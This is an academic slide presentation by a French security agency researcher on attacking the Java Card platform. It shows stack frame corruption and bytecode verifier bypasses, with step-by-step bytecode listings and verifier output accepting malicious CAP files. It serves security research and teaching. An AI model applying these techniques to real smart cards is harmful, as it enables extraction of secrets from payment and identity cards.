

Attacks against the Java Card Platform

From the characterization to the exploitation

Guillaume BOUFFARD (guillaume.bouffard@ssi.gouv.fr)

Agence Nationale de la Sécurité des Systèmes d'Information
(French Network and Information Security Agency)



Journée thématique : Respect de la vie privée et services mobiles sans contact.

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Orange Labs – Issy-les-Moulineaux – France

Outline

1 Introduction

- a. Smart Card
- b. Java Card Technology
- c. Attacks on Java Card
- d. Give me your Secrets!

2 Characterizing a Java Card Virtual Machine Implementation

- a. Study the Security of the Platform.
- b. Case Study: Corrupting the Java Card's Control Flow

3 Exploitation

- a. Bypassing Java Card BCV
 - What does the BCV check?
 - The Case of Unreachable Piece of Code
- b. Enabling Malicious Code Inside the Card
- c. Executing Unreachable Code
- d. Enabling a Type Confusion

4 Conclusion



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The Smart Card



- Used in our everyday life:
 - ▶ Credit Card;
 - ▶ (U)SIM Card;
 - ▶ Health Card (French Vitale card);
 - ▶ Pay TV;
 - ▶ ...
- Tamper-Resistant Computer;
- Securely stores and processes information;
- Most of the smart cards are based on Java Card technology.

This device contains sensitive data

Java Card Technology

- Created by Schlumberger in 1996;
- Specified by Oracle;
- Provide a friendly environment to develop secure Java-applications;
- Multi-applicative environment.



SIM Cards



Secure Flash Memory



Passports



USB Tokens



Smart Cards




Contactless


[From B. Basquin's presentation at
Cartes ASIA 2014]

The Java Card Security Model

■ Off-card security mechanism:



■ On-card security mechanism:



Attacks against the Embedded Systems

Physical attacks

- Side Channel attacks (timing attacks, power analysis attack, etc.);
- Fault attacks (electromagnetic injection, laser beam injection, etc.).



Software attacks

- Execution of malicious instructions.

Combined attacks

- Mix of physical and software attacks.

Attacks against the Java Card Platform

- Succeeding those kinds of attacks requires knowledge of the platform;
- Hardware layout is partially referenced in the card specification:
 - ▶ Neither the embedded countermeasures and cryptography implementation are known;
- But the software part is... **not public**.



Know your enemies. . .

- Security by secret;
- Objectives:
 - ▶ Mode: Kernel & User;
 - ▶ Assets: Data and Code;
 - ▶ Properties: Integrity & Confidentiality
- Modus operandi:
 - ▶ The property holds on the system and the attacker searches for a counter example (characterize the platform);
 - ▶ Know-how and experiments;



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 - ▶ The property holds on the system and the attacker searches for a counter example (characterize the platform);
 - ▶ Know-how and experiments;
- Can platform vulnerabilities be exploited on smart card in the wild?



Characterizing the JCVM Countermeasures...

- The attackers aim at finding a security breach in the architecture based on:
 - ▶ Unimplemented countermeasure;
 - ▶ Implementation errors;
 - ▶ ...
- Memories snapshot also gives information of the JCVM internals.



... To Reverse-Engineering the JCVM Internals

- Software attacks **characterize** the embedded security elements;
- An attacker can buy development cards on the Internet markets or obtain several samples during exhibition events.

BUT... In Real Life

- a BCV checks each applet installed on a card;
- Most of software attacks are **detected** by a perfect BCV;
- Can we **attack** a product Java Card where a BCV is used?



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
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
Execution of a malicious code



- Published in [Bouffard et al., SAFECOMP 2013];




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- To break the confidentiality property, **one vulnerability** will be introduced which corrupts the code integrity:
 - Modifying the method's return address;



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The Java Method Return

||

*The current frame is used in this case to **restore the state of the invoker**, including its local variables and operand stack, with the **program counter of the invoker** appropriately incremented to skip past the method invocation instruction. Execution then continues normally in the invoking method's frame with the returned value (if any) pushed onto the operand stack of that frame.* (source: Java 8

Virtual Machine Specification)

||

- A frame header may include:
 - ▶ Previous frame's size;
 - ▶ Program counter of the invoker;
 - ▶ Security context of the invoker.



Java Card Stack

```
public void caller (short l1) {  
    // The function callee is called  
    short l2 = l1 +  
        this.callee(l1);  
}
```

```
public void callee (short l1) {  
    short l2 = l1;  
    short l3 = (short) 0xCAFE;  
    return l3;  
}
```

Java code

```
void caller (short l1) {  
    sload 1  
    aload 0  
    sload 1  
    invokevirtual @callee  
    sadd  
    sstore 2  
    return  
}
```

```
void callee (short l1) {  
    sload 1  
    sstore 2  
    sspush 0xCAFE  
    sstore 3  
    sload 3  
    sreturn  
}
```

Java Card byte code



Java Card Stack

```
public void caller (short l1) {  
    // The function callee is called  
    short l2 = 11 +  
        this.callee(l1);  
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
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

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
Java Card Stack: Pushing a Frame





Java Card Stack: Pushing a Frame



Java Card Stack: Popping a Frame




Java Card Stack: Popping a Frame




EMAN2: *A Ghost In the Stack*

■ Modifying the return address;





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
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Security context	
Return address	
short l3	sload 1 // Pushing l1
short l2	sstore 4 // Saving to l4
short l1	sspush 0xCAFE
Object @this	sstore 3 // Saving to l3
short l1	sload 3 // Pushing l3
Header data	sreturn
short l2	
short l1	
Object @this	

callee's return	
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

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SHELLCODE



EMAN2 and Its Avatars

- Stack **overflow** from the local variables [Bouffard et al., CARDIS 2011]
 - ▶ sstore, sinc, etc.;
- Stack **underflow** from the operand stack [Faugeron, CARDIS 2013]
 - ▶ dup_x, swap_x, etc.;
- Countermeasures from the literature:
 - ▶ Checking the integrity of the frame's header data;
 - ▶ Verifying each access to the frame's areas [Lackner et al., CARDIS 2012];
 - ▶ Scrambling the memory [Barbu's PhD Thesis, 2012] [Razafindralambo et al., SNDS 2012];
 - ▶ These countermeasures are at the same level than the attacks which they prevent;
- **Top-down analysis** must be used to protect the smart card.



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Byte Code Verifier Checks

- Correctness of the CAP file format;
- Whether the byte code instructions represent a legal set of instructions;
- Adequacy of byte code operands to byte code semantics;
- Stack Overflow/Underflow;
- Control flow confinement;
- Occurrence of illegal data conversion and pointer arithmetic;
- Checks of the private/public access modifiers;
- Validity of any kind of reference used in the byte codes;
- Enforcement of rules for binary compatibility.



Can you Bypass the BCV?

- The first one was publicly introduced by [Faugeron et al., E-SMART 2010];
- They succeeded in having an application with a type confusion validated by the Oracle's BCV;



Can you Bypass the BCV?

- The first one was publicly introduced by [Faugeron et al., E-SMART 2010];
- They succeeded in having an application with a type confusion validated by the Oracle's BCV;
- **Impact: this type confusion is exploited on real card:**
 - ▶ Executing software attacks to snapshot the smart card memory.



Can you Bypass the BCV? (Cont.)

Faugeron et al. characterized the Off-Card Verifier:

- Checks performed on instruction astore:
 - ▶ Stack is **not empty**;
 - ▶ Top of the stack is of type **reference**;
 - ▶ Local variable is of type **reference**.
- Switch-case elements are simulated in **inverse order**;
- For the **if** instruction, the **false** condition is simulated first;



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Vulnerability Found:

- During some execution paths, the type of local variables is not checked.



Bypassing The Java Card BCV

```
public void bypassBCV() {  
    // ...  
  
    byte[] LocalArray = new byte[50];  
  
    switch (state) {  
        case TYPE_CONFUSION:  
            // Store the this reference into  
            // a local variable  
            Applet myThis = this;  
        case BYPASS_BCV:  
            Util.arrayCopy(LocalArray, i,  
                           apduBuffer, 0, 50);  
    }  
}
```

```
public void bypassBCV() {  
    // ...  
  
    sspush 50  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
    L1: aload_3 // LocalArray  
    sload_2 // i  
    aload_1 // apduBuffer  
    sspush 0 // 0  
    sspush 50 // 50  
    invokestatic @Util.arrayCopy  
    pop  
  
    return  
}
```



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```
return
```

```
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Bypassing The Java Card BCV


```
public void bypassBCV() {  
    // ...  
  
    byte[] LocalArray = new byte[50];  
  
    switch (state) {  
        case TYPE_CONFUSION:  
            // Store the this reference into  
            // a local variable  
            Applet myThis = this;  
        case BYPASS_BCV:  
            Util.arrayCopy(LocalArray, i,  
                           apduBuffer, 0, 50);  
    }  
}
```

```
public void bypassBCV() {  
    // ...  
    sspush 50  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
L1: aload_3    // LocalArray  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0    // 0  
    sspush 50   // 50  
    invokestatic @Util.arrayCopy  
    pop  
  
    return  
}
```



Bypassing The Java Card BCV (Cont.)

```
public void bypassBCV() {  
    // ...  
⇒   sconst_1  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
L1:  aload_3  // LocalArray  
     sload_2  // i  
     aload_1  // apduBuffer  
     sspush 0  // 0  
     sspush 50 // 50  
     invokestatic @Util.arrayCopy  
     pop  
  
    return  
}
```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    => sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS




Bypassing The Java Card BCV (Cont.)

```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}
  
```



← TOS




Bypassing The Java Card BCV (Cont.)

```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}
  
```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```




← TOS



Bypassing The Java Card BCV (Cont.)

```
public void bypassBCV() {  
    // ...  
    sconst_1  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
L1: aload_3    // LocalArray  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0   // 0  
    sspush 50  // 50  
    invokestatic @Util.arrayCopy  
    pop  
  
    return  
}
```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

⇒    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1:  aload_3  // LocalArray
    sload_2  // i
    aload_1  // apduBuffer
    sspush 0  // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```




Bypassing The Java Card BCV (Cont.)

```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

⇒    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1:  aload_3  // LocalArray
     sload_2  // i
     aload_1  // apduBuffer
     sspush 0  // 0
     sspush 50 // 50
     invokestatic @Util.arrayCopy
     pop
    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
⇒ L1: aload_3    // LocalArray
    sload_2     // i
    aload_1     // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
⇒ L1: aload_3    // LocalArray
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3    // LocalArray
    =>  sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3 // LocalArray
    => sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
⇒  aload_1    // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    ⇒ aload_1  // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS




Bypassing The Java Card BCV (Cont.)

```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}
  
```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```




← TOS



Bypassing The Java Card BCV (Cont.)

```
public void bypassBCV() {  
    // ...  
    sconst_1  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
L1: aload_3    // LocalArray  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0   // 0  
    sspush 50  // 50  
⇒ invokestatic @Util.arrayCopy  
    pop  
  
    return  
}
```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1:  aload_3  // LocalArray
     sload_2  // i
     aload_1  // apduBuffer
     sspush 0  // 0
     sspush 50 // 50
     invokestatic @Util.arrayCopy
     pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    ⇒ aload_0 // pushing this
      astore_3 // storing in L3
L1:  aload_3   // LocalArray
      sload_2   // i
      aload_1   // apduBuffer
      sspush 0   // 0
      sspush 50  // 50
      invokestatic @Util.arrayCopy
      pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    ⇒ aload_0 // pushing this
      astore_3 // storing in L3
L1:  aload_3   // LocalArray
      sload_2   // i
      aload_1   // apduBuffer
      sspush 0   // 0
      sspush 50  // 50
      invokestatic @Util.arrayCopy
      pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3    // LocalArray
        sload_2    // i
        aload_1    // apduBuffer
        sspush 0    // 0
        sspush 50   // 50
        invokestatic @Util.arrayCopy
        pop

    return
}

```




Bypassing The Java Card BCV (Cont.)

```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3    // LocalArray
        sload_2    // i
        aload_1    // apduBuffer
        sspush 0    // 0
        sspush 50   // 50
        invokestatic @Util.arrayCopy
        pop
    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
⇒ L1: aload_3    // LocalArray
    sload_2     // i
    aload_1     // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop


    return
}

```



Bypassing The Java Card BCV (Cont.)

```
public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore 3
```



INFO: Verifier [v3.0.2]

INFO: Copyright (c) 2010, Oracle and/or its affiliates.

All rights reserved.

TOS


INFO: Verifying CAP file bypass_bcv.cap

INFO: Verification completed with **0 warnings and 0 errors.**

⇒ L1

```
aload_1    // apduBuffer
sspush 0    // 0
sspush 50   // 50
invokestatic @Util.arrayCopy
pop

return
```



}



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
⇒ L1: aload_3    // LocalArray
    sload_2     // i
    aload_1     // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop


    return
}

```



Bypassing The Java Card BCV (Cont.)

```
public void bypassBCV() {  
    // ...  
    sconst_1  
    newarray byte  
    astore_3  
  
    // pushing condition  
    ifeq L1  
    // Store the this reference into  
    // a local variable  
    aload_0 // pushing this  
    astore_3 // storing in L3  
⇒ L1: aload_3    // LocalArray  
    sload_2    // i  
    aload_1    // apduBuffer  
    sspush 0    // 0  
    sspush 50   // 50  
    invokestatic @Util.arrayCopy  
    pop  
  
    return  
}
```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3    // LocalArray
    =>  sload_2    // i
    aload_1      // apduBuffer
    sspush 0     // 0
    sspush 50    // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
    L1: aload_3    // LocalArray
    =>  sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    ⇒ aload_1  // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    ⇒ aload_1  // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    => sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0   // 0
    sspush 50  // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3    // LocalArray
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



Bypassing The Java Card BCV (Cont.)


```

public void bypassBCV() {
    // ...
    sconst_1
    newarray byte
    astore_3

    // pushing condition
    ifeq L1
    // Store the this reference into
    // a local variable
    aload_0 // pushing this
    astore_3 // storing in L3
L1: aload_3 // LocalArray
    sload_2 // i
    aload_1 // apduBuffer
    sspush 0 // 0
    sspush 50 // 50
    invokestatic @Util.arrayCopy
    pop

    return
}

```



← TOS



A Patched Security Breach

- This attack succeeds in exploiting a type confusion on a card;
 - ▶ One succeeds in executing some software attacks...
 - ▶ and dumping the smart card memory.
- This security vulnerability was **quickly patched** by Oracle in its lasted BCV version (3.0.4).



An Unreachable Code not Analyzed

- As pointed out by [Bouffard et al., J. Computer & Security (2015)], the BCV only checks the **structure of the unreachable code**;



An Unreachable Code not Analyzed

- As pointed out by [Bouffard et al., J. Computer & Security (2015)], the BCV only checks the **structure of the unreachable code**;
- The BCV checks the **structure** and the **semantics** of the application;
- To verify the byte code semantics, the BCV starts its analyze from an **entry point**;
- Unreachable code has no entry point $\Rightarrow$ ⚠ it is **not checked** by the BCV!
- A malicious byte code can be hidden through the BCV verification!



An Unreachable Code...

```
void bypassBCV (byte[] apduBuffer) {  
    L0: // ... Set of instructions  
        if_scmpeq_w 0xFF05 // -> L0  
        return  
        aload_0    // this  
        sload_2    // i  
        aload_1    // apduBuffer  
        sspush 0    // 0  
        sspush 50   // 50  
        invokestatic @Util.arrayCopy  
        pop  
        return  
}
```



An Unreachable Code...

```
void bypassBCV (byte[] apduBuffer) {
```

```
    L0: // ... Set of instructions  
        if_scmpeq_w 0xFF05 // -> L0  
        return
```

Checked by the BCV

```
        aload_0    // this  
        sload_2    // i  
        aload_1    // apduBuffer  
        sspush 0    // 0  
        sspush 50   // 50  
        invokestatic @Util.arrayCopy  
        pop  
        return
```

Unchecked by the BCV

```
}
```



An Unreachable Code...

```
void bypassBCV (byte[] apduBuffer) {
```

```
    L0: // ... Set of instructions  
        if_scmpeq_w 0xFF05 // -> L0  
        return
```

Checked by the BCV

```
        aload_0    // this  
        sload_2    // i  
        aload_1    // apduBuffer  
        sspush 0    // 0  
        sspush 50   // 50  
        invokestatic @Util.arrayCopy  
        pop  
        return
```

Unchecked by the BCV

```
}
```

```
$ $JC_HOME/bin/verifycap api_export_files/**/*.exp maliciousCAPFile.cap
```

```
[ INFO: ] Verifier [v3.0.4]
```

```
[ INFO: ] Copyright (c) 2011, Oracle and/or its affiliates.
```

```
    All rights reserved.
```

```
[ INFO: ] Verifying CAP file maliciousCAPFile.cap
```

```
[ INFO: ] Verification completed with 0 warnings and 0 errors.
```



An Unreachable Code...

```
void bypassBCV (byte[] apduBuffer) {
```

```
    L0: // ... Set of instructions
        if_scmpeq_w 0xFF05 // -> L0
        return
```

Checked by the BCV

```
    aload_0    // this
    sload_2    // i
    aload_1    // apduBuffer
    sspush 0    // 0
    sspush 50   // 50
    invokestatic @Util.arrayCopy
    pop
    return
```

Unchecked by the BCV

```
}
```

```
$ $JC_HOME/bin/verifycap api_export_files/**/*.exp maliciousCAPFile.cap
```

```
[ INFO: ] Verifier [v3.0.4]
```

```
[ INFO: ] Copyright (c) 2011, Oracle and/or its affiliates.
```

How to execute this malicious piece of code?

```
[ INFO: ] Verifying CAP file maliciousCAPFile.cap
```

```
[ INFO: ] Verification completed with 0 warnings and 0 errors.
```



Principle

- The loaded applet in the card is **correct**, *i.e.* not be rejected by a BCV;
- The idea is to **bypass** the **runtime verification**;
- Inject **fault** during the applet execution:
 - ▶ May be a transient or a persistent fault;
 - ▶ The content of the smart card memory can be read (or modified?);
- Fault injection is a **tricky** and an **expensive** attack.



